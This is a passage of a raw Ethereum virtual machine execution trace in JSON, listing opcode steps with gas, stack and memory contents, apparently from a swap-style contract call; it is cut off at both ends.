1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002"]},{"pc":8256,"op":"DUP1","gas":117621,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x60","0x100","0x2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002"]},{"pc":8257,"op":"ISZERO","gas":117618,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x60","0x100","0x2","0x2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002"]},{"pc":8258,"op":"PUSH2","gas":117615,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x60","0x100","0x2","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002"]},{"pc":8261,"op":"JUMPI","gas":117612,"gasCost":10,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x60","0x100","0x2","0x0","0x2055"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002"]},{"pc":8262,"op":"DUP2","gas":117602,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x60","0x100","0x2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002"]},{"pc":8263,"op":"PUSH1","gas":117599,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x60","0x100","0x2","0x100"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002"]},{"pc":8265,"op":"ADD","gas":117596,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x60","0x100","0x2","0x100","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002"]},{"pc":8266,"op":"PUSH1","gas":117593,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x60","0x100","0x2","0x120"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002"]},{"pc":8268,"op":"DUP3","gas":117590,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x60","0x100","0x2","0x120","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002"]},{"pc":8269,"op":"MUL","gas":117587,"gasCost":5,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x60","0x100","0x2","0x120","0x20","0x2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002"]},{"pc":8270,"op":"DUP1","gas":117582,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x60","0x100","0x2","0x120","0x40"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002"]},{"pc":8271,"op":"CALLDATASIZE","gas":117579,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x60","0x100","0x2","0x120","0x40","0x40"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002"]},{"pc":8272,"op":"DUP4","gas":117577,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x60","0x100","0x2","0x120","0x40","0x40","0x104"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002"]},{"pc":8273,"op":"CALLDATACOPY","gas":117574,"gasCost":15,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x60","0x100","0x2","0x120","0x40","0x40","0x104","0x120"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002"]},{"pc":8274,"op":"ADD","gas":117559,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x60","0x100","0x2","0x120","0x40"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8275,"op":"SWAP1","gas":117556,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x60","0x100","0x2","0x160"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8276,"op":"POP","gas":117553,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x60","0x100","0x160","0x2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8277,"op":"JUMPDEST","gas":117551,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x60","0x100","0x160"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8278,"op":"POP","gas":117550,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x60","0x100","0x160"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8279,"op":"SWAP1","gas":117548,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x60","0x100"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8280,"op":"POP","gas":117545,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x60"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8281,"op":"DUP3","gas":117543,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8282,"op":"DUP2","gas":117540,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x4563918244f40000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8283,"op":"PUSH1","gas":117537,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x4563918244f40000","0x100"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8285,"op":"DUP2","gas":117534,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x4563918244f40000","0x100","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8286,"op":"MLOAD","gas":117531,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x4563918244f40000","0x100","0x0","0x100"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8287,"op":"DUP2","gas":117528,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x4563918244f40000","0x100","0x0","0x2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8288,"op":"LT","gas":117525,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x4563918244f40000","0x100","0x0","0x2","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8289,"op":"PUSH2","gas":117522,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x4563918244f40000","0x100","0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8292,"op":"JUMPI","gas":117519,"gasCost":10,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x4563918244f40000","0x100","0x0","0x1","0x206c"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8300,"op":"JUMPDEST","gas":117509,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x4563918244f40000","0x100","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8301,"op":"PUSH1","gas":117508,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x4563918244f40000","0x100","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8303,"op":"MUL","gas":117505,"gasCost":5,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x4563918244f40000","0x100","0x0","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000